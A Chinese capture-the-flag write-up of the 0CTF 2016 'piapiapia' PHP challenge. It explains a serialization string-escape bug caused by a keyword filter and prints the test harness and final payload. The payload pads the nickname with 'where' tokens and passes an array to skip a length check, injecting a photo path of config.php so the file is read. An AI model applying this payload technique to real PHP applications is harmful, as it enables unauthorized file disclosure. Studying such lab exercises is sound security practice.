BUUFTC-日刷-[0CTF 2016]piapiapia-代码审计+反序列化逃逸中数组处理
进去就是一个登入界面,尝试sql注入发现没反应
扫描后台发现www.zip,尝试代码审计
在config.php发现flag,下面就是尝试输出config.php
注册一个账号登入进去,可以发现一个文件上传口,上传图片后在个人主页可以看到上传的图片
这里审计代码发现可以发现一个文件读取点
发现会读取$profile['photo']并且输出base64加密值,那么让$profile['photo']=config.php即可,看看这个值在哪里指定
可以发现这个变量是反序列化过的,继续往前看
观察代码我们可以发现是将上传的电话号码,邮箱和图片路径啥的存在一个数组里,再序列化保存profile
但是photo这个变量路径是根据文件名的md5值指定的,我们不好指定我config
但是注意看前面上传的时候有一个过滤函数
查看这个过滤函数
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
这个函数先看implode,它是把数组元素组合为字符串。然后就很明显了会把‘和\\转为_,把几个数据库关键词转为hacker,这里就存在序列化字符逃逸
提取关键代码,组合测试
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } function update_profile($new_profile) { $new_profile = filter($new_profile); print_r($new_profile); } $profile['phone'] = '11122233344'; $profile['email'] = '1@test.com'; $profile['nickname'] ='aaa'; $profile['photo'] = 'upload/' . md5('a.png'); update_profile(serialize($profile));
结果
这里尝试改变nickname(非最终payload)
nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
结果
a:4:{s:5:"phone";s:11:"11122233344";s:5:"email";s:10:"1@test.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/32d3ca5e23f4ccf1e4c8660c40e75f33";}
这里可以发现逃逸成功,但是注意一下这里nickname不能直接填这个
注意
发现nickname长度不能超过10
这里用数组绕过
strlen(Array()) = null
我们前面payload也要改,因为我们要让nickname为数组,要多加一个},因此payload要多填充一位
payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
发包
解码